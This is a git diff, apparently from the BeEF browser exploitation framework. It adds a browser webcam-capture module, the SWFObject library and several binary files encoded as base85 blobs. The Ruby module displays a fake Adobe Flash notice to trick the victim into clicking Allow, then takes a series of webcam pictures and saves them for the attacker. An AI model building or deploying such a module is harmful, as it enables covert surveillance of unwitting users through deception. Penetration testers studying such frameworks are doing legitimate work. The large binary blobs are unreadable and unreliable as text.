z$-gq|K>Qf#o|x&+SYG~`Rl;?8v~v>uSgl@HQYY%wq*`Bhk{sbkJ`GS?Uo22xI?L*d zqz027+#1$*aEDXkf3aV{snLR3dc=@vk>QDa*%jqSm(mi9LnGwgJT~E1J<>k{XyyA8e^kh z?yB{4l4P5&r~i@ByT)2*J=!ZHvBuh`1Q>G5A>hl$;`_!<1PuwH1O@x81Oo9bpmQOme#1otUbz)aJR7$U=39=Bc6tJ_SZ%{ z4e0`E6^_A>=gfzd81EKSYVeb>9}U68RuBgqz}9XLu+hS!Z(lQ_z)g6_=n*~&fX8?E zx&v&$LpeG|hDAm@`3Kw_K^n3J4cP^PG~|F9 z$aL8N8nPw>Du9NJ6_HdLvK0hroC9dcST7AZfQD=bK^n3Q>ntpwX8IuH%Q6;IOQ0;_ z6`eV;CK!OJeh?&Oi!nGEf@0QTZ~_Fyti#|q2#Q&U!IKcAA=j$UqLDA)}0F z$TF-82msd72O&_Fb(o5*Bh0bDV17-IE{mKbsl}KY3PCaJFo=v5vkrsPASh-X26r-L zEojIk3`G`V$Th4ZplVo$!O0AP79tFyjA#M_C=8-dXsiNg$R`=dGV}(}IJ-ku8moY_ zSQceOK+%w~9j&Jujx=+Mi;E#M9&~27ih~r%jH$>v!VL=y&Z`LqU@)^LNP|L7idl!L z5fBu!4ue4u6tfP4(?lo82HLq-{qAPxDy_Wd5hX!yl0W|9W^I-2D5fij85t2~pyMnS2w(1&5F zpC!=#z>qfc~1!-5>EVtkSfkEvESsH3VzgdEQ0;M>=(r-=8IyOfdK*pNWy0CmFQf| zPgCgn3H!V;2cRZe+qyT^o1Pp+=M@*`d|?5Z15N@C#ggb4JBbi3PT&Gs5V$X~K$I<% z?k$mSDo!U*(Cs0PABSGv!-r;Z!Waq*2-5-L&@t@`6Cqf-C4|s9#bq$0hj~$jLk$FJ5XTkMaG*(EVKIe4*(jiH zDlCyY!{m_{4M!3R%8g8~G7HbL(AWuBCWk2u)kgtLPtZ(z8ZyBSbu9s8j6-_-dTIdt z64x5Fg?(KKwF@!C*St`lPzMnwTns=R$I0FR8V1r&zO;&Zh{JkZdiJ9R126D#aRQh9 zDy!sRAO^JG5lRp_pmdmrwF!mz%0>b}uRD(cyiA2uF}0w+B7P{35n}wxGlWqOoM|m^gcxJMF&x@8!j1s>a+-)6@|7&Jq4uDCaiF=3cW8x> zf7p`3XbGTXq5)e*i=^d_i=gD?7YEQ6Y)i3#Z3LXCW8naSk#0jU@X-k54q6Ykq$yyD z@j(EiVSW?+!AH!I%V>G)*TwqrKuQCkMzl@LV-M0CHUOGzC8UZk0j5AH725WruEtV5 z0Rs-aQc5V|(3TMOk-YAQk_v=$Y`dr#Op9YR3`>)jrZ|mI&D0wKvcg9!@Egd;buXyP zoALm?Fn}6J%Ohc25|{y);bU8|kg5wBoO;9w(ior* zrQ}zmTdeIM`OrqN`6X=&@(KIeNT_Q}&Ans}@@fL9bYDYaIpC?5Nin@W;9NQnhS}IwRq#^ytu`rq3%p>7g0(*v`Kp{e6r>Dn2DYW2B zyGLGVLcp?lx{=3nM$`+?9tJ3 zU<<)XIT9lHNyeb1WVjzgO$2My5bT~X)|BphWqI|V)-DT=t&wPI7gWxm+ElmM@Nk5DFPyBrB!A1fmhz&xO#0A?j2hw{ru_mG)DqyN=8=98$N=z1&JZh&^`NEm1sbpqO8|}#N)6~o2+^9b<38+%62<*4_T0!t z%#R~egp0lc<|nY(S_uAVp#p)6q`&9TeLoAqkme}i8G|`9?l7Pif)Q_A5GGgrW&J{i z4ni?oZX!*QA5D`jNCzK!#m7#g!PX#t6KQ;y$K~tJ5dc;UZA|k zbAT`|Q(!29wrQv<3}tA$8}`M~f}&r7KAWTm?g_q>J)GWPbrE;;nwWg}SQ5$)YmF9L zQ5D(`BmM=E0ONnLz6Pr^tS^G&1@yyEtAk`Tj8MUF+Y8ds$HkGHq^F3v&_*Jb#J6PI zD|y8LQzId*H~qjw1g$|hKY--HQuAjr`do!ac(hD+@U?pYOQAGfrjXMWPUINs3tAU^je@Z41HcrT_29o~=(->e%=Gs$Q|} zg?OF1v^JC8$B%9wOv@mxyr)bHV6o{*w?BM|3r82&Gb0qzR(+F%>}0fFyCv3!Q`@H2HAa^1?<8lMnenoLMDJ)y+Zf^{ zpna0;3y~{~f56yC$r|gg$pAbJw0+W}cLoNTOGhloSU41HIPsPTf``)|un46F&@!lR zj85|O0-uucM^(g@1Fc3ZcnUZdkFyIXUmPQ%b-|ZdgQ3;i18hI=B(MkYqxB$^G7@8e zawa2t2HS>Y)DT?sFKSB+wVuqe;P{-Z2e6(!P=Z_#^>!4z=P4{My*yTo#L6L;8VrBA48u z7F@f)zBL@`!af{hus6e14b&~v8dK<-@O3=K6T^1Q&aI&xAP|jeD8W7uJs3j0t$2>k zL#muKpZ<+mJCr-}4{aFHL)3sEI3+D3!)$C&KQvLwZfcFV%T zHjQI6)Nw*{U6OH=$Ylz=9tCZktOBV3&XTgnwuRm+t}@_kUu_*nON07j1R9AW_4;%Z zJ$BS^919>cX1swO99kLls$yu~GTt-s?#PG}XL8YUg+Z^P`(M=8y1YbNz?bn~vF)3~ zNYk)J4MZdrn3Z+OYg3;RkVhw6jyx4GN;HaoRb5aK25gQ6toiqa$HV*L zBdyJF1s=5<$Nzl@U`B26;Tf_1(Fu4TF*#wFpE$A^#$smXq~s+cFcA+10zUFW=cH7- zpC82(!4h;9%=Qlf))Zr4;T0=Tz#rzQKY+Pv@Q^HmMG-H_IK0ObpTCia7eG+*gdlw= z004xo1dsg4Q7tG(H-EoiAJ53R2tVakZWITkfqW;j!EH3~!F@B36Tnu-F&6g3=mp|j z9J2~&3b9d8QUP;mn8FL{jpbZAHE~#7;@k`IEoj<-`wXc_7Mv|4fwGk=VRmsALL>ZQ zQ9M{7V@TDM0?Z(>8TG0=ooSkyB-a#aE<(nr_L!Zyo&>_ES#m)DRPvOgDlU zE{Vj1q(FP1ky}C$tX4XG(wE_=DR9Fsu6j3KT1>Gt%c4{oRg}2EMp_WKA&W>FEWya zwun2JvfiU)E9Qjv3YL)U-+qX{8Le~}Z&8U0%ywBQVOo1(ZE-Sh+OeLAi)+29=_HG+ zEa8$KXL~aXkXHB9Euf4L9c1fmjD3;48`~lO6?@W3y9_%A)SuWscFo=0G^?S~n8ne~ zKB2JiRpDo-iYOjZlqN3~Q?HZ{LWzfN@`m?s%rKg*fKGu0J`JrEPjATVqzf+fS&v@i=(u_OM>EDDDyp=e;&R z<=Uh5yo787?`Dx4XZy9Rv=iPE^Ok2|v78B08>)-U9@=Le)lq7W#b+(OWLvYIo1;zj z<8_Lj=6g1*rQ?qOS^F#1Gv9$WNa}$#M{1l}(m1-retvXRB89<)vaOoxV``-rojY>2 z%^)ApyvAnMmHoD}_R(IKHkR?7&TL=s_NUAp;WL}--pkT4nXXs0{nWGA>~=KvG&Ymr z%#d}R>NuOhm-ew}*>}FNBU7U%`a;<2zHz0kH~5BJYo~Y1G*-4{_NDO?<6)rH_UzC0 zIw+y_JYS&a&Xd-^vgc=;qdmsb+y5NGOyB@o=7O^l8haN$3IyAa$Y!cZhgqq+^v=yT z+^?rjCrxByPM2rLT@ebs#uCVJ?OH(2Rv%s7+2(CY<5`PpZ<&o%dA6!=zq`JsPP^S_ zBXaiPH$TF$I~7VhZZ6VX1dcRYU}8~ICP*TV6r!31)=r2Ax-lNq|$-fT6= zUP3d_tmfKns;?ciqxH9gl4d&~Hul8JSMAl+)7;(hvtG#N4D0A&+89(iz0`Mwl=ib; zzBCsg6GXSL%HA_e%#EAtaQ5FzpMH?7JG$6mr*j=PWRFN=7z$%;)&|<<{*lu(hwBCV zt1sP8&z)gsXr(q__PB6o`bHm9xA$yU{4?2qzj5z_;fur&d@k2zod4%x{b}}+t*%Qg zgU(ISVG&mk7pP&U&n z**CwA)b<%~FckLvthm4V0``nN8yN%k86120&B4~G>aiOu9(xWMV_I}&xAwmKz-Rqv z$>Q^s)*L%qwVn5~k-4Nn8}-aVFa~d>{-@_Unl{HV^l916?E5I~!Z;899qXv^-DX2Z zaU1L6Gb#*M%Xb2EHbtqISjj$v5|Pa;jILQv-erCeSKp~NvYw_3M&fC=h(pYJnYJ;0 zVNaEf0`2|g!{{}hL+x|s*RorB))%+;p{(JS-Q2Stq#et~V7kq|82UI`=$y4(uQ!Z5 z0_~mwPGZr>q-7}GSKKpC81=v1&H>omvk0=bQtD?qeZO7)+=c9`V(D#)J<@V#QDn2! zE-kdl@1^#ht=8KuIofQiH%9h;CHtd)3%_eG*b%?6iexBkuO0gPoCnb0sq3sQwI=t# z{-+l-=1%nfGVX(cR)59+ z{k?dv96u|&-DhKGX>PnwQw@8a1q|D4xpYqQSOb7tRJ+7PVfc?Ed~j@HK- zEk1nsgjU-MezMe!pX#kjX zbOOb9k|<<8Nbih8Hjv9R8cY;2&uB1F$ULLL#Dpvn=fL3J_mFF6a0r=aG+3^X`5=Vi3xeG>JXwz%|+z|k^cp&8>ifZ5qKY=wsxD zro+RF*mqcK&}l_9a1(V}(at1l9<&#YUC$lsv?8ASq}D$X^4}qbrenzA;)#&YkM~Z5 zygi9R-kC%pvyBRQD&&7a)N`ldgr%4(WVTVeSjarO%0wZvj!YCXRVNW8SMjL=jb^lG zc3|@qJJxAMA0jsv(d&PJy~~0wSE&9&)8PSBe@%@eoX)it8i!7+;%2$lR&-hw&;63! zjdfZT&t}u$H<4xW2(i#~i2N}w)xDE|9PXV6nQc^16CtyWnkZzR%_iijkpBiTG#w(d zjq2iQK#ms+nd7M4D`bwNCJLENM`G4=&~Sjfs81RXc*N9c+n@!IhPkAr9w+{$45%QlQ2Gue5L);luN0D`8$_dB;Y9eHw%_iiDkZI3C zo(lORh(UD*Mb(8uc>S}I@Pm3-srqMmWwRVdWjoVgS2SgIhiKqqomR$k->j|Zw6eFOMUTTdXsPM&ULGN**O&;I zjZ(-Hor88dB2R>TIwDVm%(MBdtq7S#Fet5q*eE}eF$noj5JS`9bJ<2iuS1dJXiyzR zc7B4I2IL4OWU5ZcnR3wS;9eGCzUr9!e$2(h03y$QGhJ!5!n67G8mK_za_rY@ptumZ zEHW|G5k;^6>{P(XYSlkR9a_f+unyTB=9m!KMs1jpW$|oAYb&xW+MP@Z_8kmO77YpF ztH_m@Sv01r$fbdYrW3``bfPF^R6@AepoGje`U$u7Vo!sPXDj|PnwvS*e}^ro@PD|G zNU@g+cj7q0&AgM3UFw;5&1LUoNgK~xtf8}UEq}cJsfC#pZHVQ3j_MzUU;lJ^l&$17 z{`ER3r+26975GEt49e|ITjuFf+%dfY_e~$CE&q%#?@}Fqp=A>)*r;KRM!W z!nMl&68`=d?zn&O$P+&~er)*UPlpGNz3}Am;RDY;@zOKH!%sXlJoNm@F_0q*FllqtTo`(hVRUg3tcA)f8=})c7^rKQ zQJ>JIM&L>BK&fo0SaM4*1a4*S$nCA6Q()QuEI6d(NIoZ!Ww`*FGY#9>h|r;i9nC_2 zx&|=SHv}z(4lHcX!#YmM9;^K_clECXcV#_RyDcu)W3~5!3&JC^Af$GTg?idi*HhPi zuMi-WwcjqNXB1A5^**IG_kR|=v3$_WG9fmZ-IZGC0_)9ctkgaW0Y{k?m(b#d<+i=& z!l0L@-2 zQ3b^5VG!vPAgJs$Mna~$oasvLut#vG=}PXfN8n9hP;!T5rJQ1=tP7d0I6-xM5S{Hz zIYOqpoQXoFOQY#Z$oEC$bs@8kgbWlx5l*#0-#PwR0qeP7*N{uqnR4`@g|0Xz%4w0B zG*M2A48aJhKT}l^^g#30=j*#C>Vn9w-$9sP~ zQyoRtQBWO4y2}W8UC4B4(`&2?`R$~ufSgokP)T(Z*^b_sqq?fo(md7C4~?p`;>#V5 zVKOGl9gaq5qTJyaCSzi7w2PuXhrEc~pgJNmOhOlrg#32WhLC@kL?Qn?i2*q^SVFOm zg6b&Jo`t+FQr9zA`st7 zqTHcQB~k8BZzNGpORpzU528&5)e-8QBnp`iQW4O|kZYk#cxM<6L&M8;MKh`*C zp-e!ohB8sqXtfhicCkh)3uR)iMyq}CLDf(uvQQR^8m&0)%QmW^49J}XpeSSuWuO?4 zLxY{_oh_7sxk9#328u$a>gG1sR-3GbG5~6<(TZ-;YAIulRu;;@-1=ZWu7ol$w-U+# zu^P%iQOFj`KvBr7BQw!}On+?VRzevlRzevdRzn#m3YpV9vnwH+D?4)oGTl`vR$SRB zR$SR3=2n+_!gdKCL#~Q87m7StSD|2P1sL{$?*(rw6DwKDu(aK!eky~|Trzm7| zWv3`)b7iL}WOHSwC}b4G%3F11M((uY%1%+p=E_b{$mYsUQOHzmP#s5S_WU17lX_=b zokV0PmsjXP9AZu*cfRVF`+m$t#{iMzzO_M(R_4kMC{!SFIe6(c@KO-Xm7Te%j+Bf3 z7`Y!rWb`o*&6OD!quoF>S7wSr=5y^{A@e~h5hPs9vD?ZkO0z%bf1Uqz{@3|m=YO65b^h1+U*~_F|8@R% zl~w@G|2qHc{IB!B&i^|9>-?|tzs~=z((KRqU*~_F|8@S?`CsRMo&R-_I3&HkMKb^h1+U*~_F|8@S?`CsRMo&R-?|tzs~ z6@c@<&i^|9>-?|tzs~pRz^S{pjI{)kZuk*jo|2qHc{O>Bw{+$1H{@3|m=YO65b^h1+-&N*+$$NI0|DQh? z3@$*r5NRvYMMz&px)^C25^*lU@2?_VigX#$T}am;G4FExz7lCW(h%tzNLL|UjdTUl zwMaXVu0z_1bUo4yNH-$ggmg2~El9T_ts(6~+Kn_q+Jm$g={BU>k@g|&N4f*)P9#46 zZv6fx(mhD`BIV=%xAA`uAbkhvAkrbE?;?E<>HA2Bk$!;mAkq<}hmamddIafFq+cN6 uF`xUNU!okps+8r;@bBM-->1TF>U6Vyi0$d~qk~UTUomZ#O*rnxYT!Q&APLt1 literal 0 HcmV?d00001 diff --git a/modules/browser/webcam/module.rb b/modules/browser/webcam/module.rb new file mode 100644 index 000000000..ad22db94c --- /dev/null +++ b/modules/browser/webcam/module.rb @@ -0,0 +1,63 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +require 'base64' +class Webcam < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam/takeit.swf', '/takeit', 'swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam/swfobject.js', '/swfobject', 'js') + end + def self.options + configuration = BeEF::Core::Configuration.instance + social_engineering_title = "This website is using Adobe Flashd" + social_engineering_text = "In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will increase your user experience." + no_of_pictures = 20 + interval = 1000 + return [ + {'name' => 'social_engineering_title', + 'description' => 'The title that is shown to the victim.', + 'ui_label' => 'Social Engineering Title', + 'value' => social_engineering_title, + 'width' => '100px' }, { + 'name' => 'social_engineering_text', + 'description' => 'The social engineering text you want to show to convince the user to click the Allow button.', + 'ui_label' => 'Social Engineering Text', + 'value' => social_engineering_text, + 'width' => '300px', + 'type' => 'textarea' }, { + 'name' => 'no_of_pictures', + 'description' => 'The number of pictures you want to take after the victim clicked "allow".', + 'ui_label' => 'Number of pictures', + 'value' => no_of_pictures, + 'width' => '100px' }, { + 'name' => 'interval', + 'description' => 'The interval in which pictures are taken.', + 'ui_label' => 'Interval to take pictures in ms', + 'value' => interval, + 'width' => '100px' } + ] + end + + + def post_execute + content = {} + content["result"] = @datastore["result"] if not @datastore["result"].nil? + content["picture"] = @datastore["picture"] if not @datastore["picture"].nil? + save content + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js') + end + +end diff --git a/modules/browser/webcam/swfobject.js b/modules/browser/webcam/swfobject.js new file mode 100755 index 000000000..8eafe9dd8 --- /dev/null +++ b/modules/browser/webcam/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2 + is released under the MIT License +*/ +var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab$ID9tkgb*OK&=v3m1BMO?sC1Cti=aRX2?1$B zz^-5gD*}R8k*1)i2w1S7Ac&nJVDA-syLxT;?+NJj-uL~z&+p&9=X<{AJ2!iFc6N4l zc4l^W=J;IF5&6Riax@3g1cLFjc5;i6E_N3}YMt9|mHE z(5(>ku9SFEO1vQ@o|Y1?ONmk`@v4+~O-e+RU-P^gf-L`VI+y0Ze(#eHPIb!3ule2Y zoF=yJJei0+b2_SjX5QT3drmRCGj50P>Tz=1C=_igf9zy$9<%fQf~!vXF5E}mhJ8+a z##H;JuKP}BvrlZ-Hb3q}&u%~HQP$D=#eEwVW8L41$ez1S7~co$Ie)!1ebzwg(e9?! zM*tyZrzOS{6H_H*my8VF9EKn*#f%r9#uu6;rtlJknR2d)l2A!TVrl{lcjrlX^1~fjlEh>6ZZD&bNFXYo=cGM<@oBWye^ zh!O7L%Fs0FSrXx2i`4uVp++Rv7}4=RrKLp47;FAZ_sBSupD4irIgz_tm`o6=U_@z3 zxMPUYX7e%xGGC*(@-l_vZJ7T+I}D?>|HX}d`7;rULQEE>$_scY!VF$!T2^ZOh!3X- z;}d!0P#i;(@MZ`TC2_EW?$1k14NFWBCMTu}<^0pK6NPTciRl`DQ8@fgp_HC1gfjRE zMG{CRm_Z%cABjqCX{i$7Y>B@xHOpHfOi{!c1SJYwQsYB~sqtufhA^F%AyiCFi%S#5 zr6&p`SsB7i^}jdcGKV)MU$*}!!`qM|%7AOJBxfha3)9FE_?yQ6wLvM6D=#HeAwwok zV7eqREj3gAH({vo7!YPawNO&#_$8*!AVSSh++^BO`q?!yuR^A5^Lp`8iQsRX;EI(YyP$YkzL`)VXr=?{Wh$WJA2XpgblR)E`yM$VsTUl6)H|J+1CQA}i zX~Swt5T>P&vhZ^$LuQ5qp(H4AwlLY+iaaYZULvN5g^3Ab32*_fzzw(q58w%=059MT ze1I?T1O6ZY1cD$C3_?IC2m|3D0z`tTAPPhS9^eB3hzCL-0trA25I2&p*m6xpSF#>qwsul4B&|{!sGllVR2roG~ zZ5BxYEBXl1Wf%iF(}zuB<`4H^yy8eBJT(Px(lUh-+yUX{CdFs)W+{#MiyP#`=Lu$z zq1_UMv{3x*lAM^3N(~DPiu3dE3?uXKrlPDT6izJkhf`4l0^>s6T>L!bGJm2pf@E&3 zp9Kp~KN)(rz5w?p#&3=!TR6ktBOpA^JIupBF4V)%!!3-#i;tJ}_$6lIM`eamChq7w zNm_=hP?VM-WQd{1y5er&or-UaOnE_8rX(#z29wgWGR5+Ozb2virSafp;GHT;BW0we zNodKx+BBJ`3!z#wHU4&8IsDqSYJbOvrsF3Z_IITFa6Nn>;md=&TbMEW??f`|@dT2@ zY~jew^&gn%{(cQQ{KG%={=s{Z>AjFCBy!J`vE*RlM^L# zPzd6NqlAXJgoTIFc@havARZ>8rlt)8iqJNmxXwZa8HwohSkVo z0w$SBWzv`mnkr<3Ia$+5)0ye6>BjWb^k({Mc#;tfvbKu0G8v%?nIetJ+D^;^fQ)E+ zYxe-{UZC9vw66f|exN-7sDprd6`&Lps8CeZ=))C3ovA@20RlxCXv%4+0ji=7U?}S9 zjT)_QV5l|*TLVx)Kmid2B$NP$q9{=gCCQ_Jj*=BovJy&Qpg@E(&<4G9Lv39jJqNITwPQE7U{+3baumMnNJ9l29;1jsbPE2k4Mc=01Qj z_X9acvK)nok{bZ3-3UiE!*U3qq!w5oh2=Ovi6>y)3d>0dpMrH8EbRa#cfh(6mNT$) z!EzRsbCBzKSYLp&7h!z~mdmho1086OYY@5)%MDm=!g33i+pye))c0Vy56c5s9s(mg za0P&XAOs?jhzv*807sEV@c-x}00QAJGQ5z?AfG9C=KpB6j;4f8xplSf2r~`z~#1R@$ zFip4s0#OSfL~R_U0}y3h7^CaqjZye(G(hC_alin78RD-oP#O#eSO8Hl!hx{>QDh?s ziWuW96Z|z!rXvnOfGI#|W;n_mAOs5>u*6?h_{$o9+2Ai*fKbQdzy!LS9Ku9MbU7NL zMX-~}XD@p@Or+8gU1ZW^sv?3h91+9`aR!K?3qTB9ApzosAXLO1K|ByofQ*@fAYO0121fe6o2;ztM<75E<86AiqK}ax89|91#JXMm8GEps*0*FYMGD$t0LLefVhz?W% zSp~>L%WHrMBm`&!5(y#b0S6KwvcMz~AQ?fc5J|*t3pgEcmLrj?N!=D0GQb|x&mjs( z_=}9cC>SC@VWDCSOdg}bwDg> zX(SeeIbtfX#e#TuECoxz{2}ESILa9d#>Ci6Y&vEM;Q&aRfX%^XV?xXe;^HtqmX5_k zoFKv(7Yho=n2aED+z39YR}|S(fmxMf@s*xaLDpa&2I$Z$F$glCKlQPsK#`0fu*w?b zT5(k%eIGBfjnIoZs~?j}p?E4#2y;weVuA@EtPYprI?~dFu-!0h0!c>D|5HUKF!?uu z$^TOV8~&@nz#Nzp%!#ljnUl>a5!7Mx4B!@GOh<6v7El@9_-xv}7#LZzD3VX%qoT+P zSW#hxQ7bBWkz56w!tg&(v=Q2(Y zr-&k%XQa|Tj8Ks|*hb+~Fa~q4RLUoN!CePEnLMG}B9<9r&b8)RdYTi&%vclHU~rZ3 zhDod*Y*=s&@P=NjF>H+DD&h@exD*nROoE3pzLb8MB4xs3pdTX)K!Hh&?NH#J%t3}d zuGH}?sTA~;^GQ&BHpB49DtluL{1(l*nBG;hZ7VJT`fW#J%*#Zh%fU*Ttwm^<8ps@w= zYyq7uP+$ub*#afDfWa0hvjr+_fht>|#ulhUGcsY(7%5D~YIyYb@F5JfiPtEs%d-am ziQ17Rpy4nW!BJ#n0@6QmkWR*qFoGiw(~;Vc_YK{#tyiJ6!?ne=4eHhKxue-z9L^~goq+*;6x~&igV{v z`EoM0a(o)B6(A3V9p+RxSk;`&m#^TfLM+3az*iUsRrqunYh^x-uMFF2cn#%IA6_9} zozEDViYROB7;b=az8YU;qz9EXa3M4>YI&wWqm9XD!s8_QhxC_ymjA;(cK>Q0yWi|X z9l=@rW}n}2KkdU9!Lfg{&+oXO_R$={>HlV*-*Nv7_R;?@?8EroJ{JF1?Zf`vKAOMV zhx)sH?0(v(?WbijWR_tvH1Xq)&*VnH7d(aVSA}N`fRs3$v-(|l7Qs_kjsQ<#A>7ca zrldes5TlAQ@JbEy89pXFhb!;DwUFTo{H>B9Rbfl@SM`e$89p0m1R{x?B%6#pOr|_c zMwN~2mEn4ZQN+J7SN_|?gufw2NQnP}gfq(H=T(&Kl7N#^WD~HK{w5skz%Ot)cnn(g zh$11T4fH_uypT#qxco+8_zwy=0i6UVC?))y0Ue&9g826t7{lYOdt@ik2n&Y#GZ-2C z#oh8R?()px`5Av7Z}A_;8~hs2+5wo)|F(b;28{p6K>1$afY_|IWVu*098XXM3l=d6XimL?TzgP*^{QB%t6gS-^|OHF!uxgGC+|IxGsX zDDq*nBZ|an`DE4`AOq1D+n!!eTf)c~Dnk{&>GioPctiy^Gkn8cg9lX3>W`#Su0GD9 zZ%3wpHVkGB^5HycO7Je#fLA)i1Zn^VHryPJ7~p|`2S*SeqcI#B$S|;tISJ$$6g;+) zKLw8vDC|BH6_|1vbM^W1qDTzct$ZH_Oc1XoC*w$ggZjK+ghOQ%;=`z!0y+cceR6G7 zID{%2Vxj^$8pHEQey=i=7y|SinI=#J3?&mhXcZ_jXt>EV_$cJorU(x**jFj@8F)Nl zO1nG>AXA_K3CMU)#qcVI`IpOnzb)k#8s|mDXJv|HB0H&~zln?>N@RHwxknb{;OW56 z$W!uLbnvr>Q9c|KQy6RTbF3Gh-+l1V_KYP!>KHN%X&JKU!;=i)H6TM!|3b*&h+i!l z*N9IthnlJ|r}5<~%FX5Zw2E?84uHod7lU1Nyh}mWrHFSyv>8Mz;%FrqnlX%qfh``x zQq^a`xS9-oiK;$T=H-k^n2?csXtMY%Rt1AP#>f~2CQ?e64yKC{FcOB!k}PeQR+(T# 